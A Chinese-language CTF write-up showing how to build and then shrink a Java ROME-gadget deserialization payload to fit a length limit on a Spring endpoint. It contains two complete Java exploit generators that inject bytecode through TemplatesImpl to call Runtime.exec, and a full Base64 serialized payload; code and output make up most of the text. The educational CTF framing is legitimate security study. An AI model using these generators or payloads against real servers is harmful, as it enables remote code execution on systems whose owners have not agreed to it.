Java 反序列化PAYLOAD缩短初探

一、前言

会写这篇文章的起因是在最近的一场ctf中碰见的一道很有意思的题,题目本身是一道很简单的ROME链的反序列化漏洞,但是在传入payload的地方限制了能传入的长度,所以就有了这么一篇文章。

赛题关键部分:

  @PostMapping({"/hello"})
  public String index(@RequestParam String baseStr) throws IOException, ClassNotFoundException {
    if (baseStr.length() >= 1956)
      return "too long"; 
    byte[] decode = Base64.getDecoder().decode(baseStr);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    objectInputStream.readObject();
    return "hello";
  }
}

二、初始payload构建

这里就不具体分析ROME链的流程了,具体分析的话可以看我之前写的文章

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.util.Base64;

public class Exp {
    public static class StaticBlock { }
    public static void main(String[] args) throws Exception{
        // 生成恶意 bytecodes
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc\");}";
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(StaticBlock.class.getName());
        clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
        clazz.makeClassInitializer().insertBefore(code);
        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};

        // 实例化类并设置属性
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templatesimpl, bytecodes);

        Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templatesimpl, "test");

        Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
        fieldTfactory.setAccessible(true);
        fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());

        // 要通过2个objectbean才能达成触发条件
        ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
        ObjectBean objectBean2 = new ObjectBean(ObjectBean.class, objectBean1);

        // 设置hashmap,参考ysoserial
        HashMap hashmap = new HashMap();
        Field fieldsize = hashmap.getClass().getDeclaredField("size");
        fieldsize.setAccessible(true);
        fieldsize.set(hashmap,2);
        Class nodeC = Class.forName("java.util.HashMap$Node");
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
//        Object tbl = Array.newInstance(nodeC, 2); 也可以只写入objectBean2, 就是会报错(但还是执行了命令)
        Object tbl = Array.newInstance(nodeC, 1);
//        Array.set(tbl, 0, nodeCons.newInstance(0, objectBean1, objectBean1, null));
        Array.set(tbl, 0, nodeCons.newInstance(0, objectBean2, objectBean2, null));
        Field fieldtable = hashmap.getClass().getDeclaredField("table");
        fieldtable.setAccessible(true);
        fieldtable.set(hashmap,tbl);

        // 输出base64后的序列化数据
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(hashmap);
        byte[] sss = byteArrayOutputStream.toByteArray();
        out.close();
        String exp = Base64.getEncoder().encodeToString(sss);
        System.out.println(exp);
    }
}

payload:

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAEAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAJByv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtTdGF0aWNCbG9jawEADElubmVyQ2xhc3NlcwEAEkxUZXN0JFN0YXRpY0Jsb2NrOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAQABQcAEwEAEFRlc3QkU3RhdGljQmxvY2sBABBqYXZhL2xhbmcvT2JqZWN0AQAEVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABQKABUADwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAaABsKABkAHAEABGNhbGMIAB4BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAgACEKABkAIgAhAAIAFQAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAWsQAAAAIABwAAAAYAAQAAABAACAAAAAwAAQAAAAUACQAMAAAACAAXAAUAAQAGAAAAFgACAAAAAAAKuAAdEh+2ACNXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACXB0AAR0ZXN0cHcBAHhzcgAoY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuRXF1YWxzQmVhbvWKGLvl9hgRAgACTAAKX2JlYW5DbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAEX29ianEAfgAJeHB2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwcQB+ABRzcgAqY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuVG9TdHJpbmdCZWFuCfWOSg8j7jECAAJMAApfYmVhbkNsYXNzcQB+ABtMAARfb2JqcQB+AAl4cHEAfgAecQB+ABRzcQB+ABp2cQB+AAJxAH4ADXNxAH4AH3EAfgAicQB+AA1xAH4ABng=

在初始状态下生成的payload字符为2244字符,而要求传入的字符为1956,长了非常多,接下来就开始本文的重点,payload缩短。

三、payload缩短方法初探

1、删除_tfactory字段

这一段payload和在ysoserial中都对_tfactory字段进行了赋值

Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

而在TemplatesImpactl类中_tfactory字段被transient修饰,是不会参与序列化的,所以可以直接删除,既然是不参加序列化的,所以删除之后payload的大小不会发生改变。

image-20220308095517149

2、使用javassist创建类

使用:

        CtClass clazz = pool.makeClass(StaticBlock.class.getName());
        clazz.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        clazz.makeClassInitializer().insertBefore(code);

代替:

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(StaticBlock.class.getName());
        clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
        clazz.makeClassInitializer().insertBefore(code);

生成的payload2244字节缩小到了2054字节

3、尝试置空不需要的数据

在调试过程中我们可以发现_obj中的参数并不是全都要存在有内容,只需要_equalsBean就可以成功的进行反序列化,同时我们将_toStringBean_cloneableBean通过反射设置为null,在进行设置后payload成功缩短到了1836

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Test {
    public static class a {
    }

    public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static TemplatesImpl getTemplatesImpl(String cmd) {
        TemplatesImpl templates = null;
        try {
            String code = "{java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");}";
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = pool.makeClass(a.class.getName());
            clazz.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            clazz.makeClassInitializer().insertBefore(code);
            byte[][] bytecodes = new byte[][]{clazz.toBytecode()};

            // 实例化类并设置属性
            templates = new TemplatesImpl();
            Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
            fieldByteCodes.setAccessible(true);
            fieldByteCodes.set(templates, bytecodes);

            Field fieldName = templates.getClass().getDeclaredField("_name");
            fieldName.setAccessible(true);
            fieldName.set(templates, "test");
            return templates;
        } catch (Exception e) {

        }

        return templates;
    }

    public static void main(String[] args) throws Exception {

        ObjectBean bean = new ObjectBean(String.class, "1");

        ToStringBean toStringBean = new ToStringBean(Templates.class, getTemplatesImpl("calc"));
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap hashmap = new HashMap();
        hashmap.put(bean, 1);

        setFieldValue(bean, "_equalsBean", equalsBean);
        setFieldValue(bean, "_toStringBean", null);
        setFieldValue(bean, "_cloneableBean", null);

        // 输出base64后的序列化数据
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(hashmap);
        byte[] sss = byteArrayOutputStream.toByteArray();
        out.close();
        String base64_exp = Base64.getEncoder().encodeToString(sss);
        System.out.println(base64_exp + "\n");
        System.out.println(base64_exp.length());

        byte[] exp = Base64.getDecoder().decode(base64_exp);
        ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
        ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
        objectInputStream.readObject();
    }
}

参考链接

Longlone's Blog

终极Java反序列化Payload缩小技术 - 先知社区 (aliyun.com)

缩小ysoserial payload体积的几个方法 - 先知社区 (aliyun.com)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇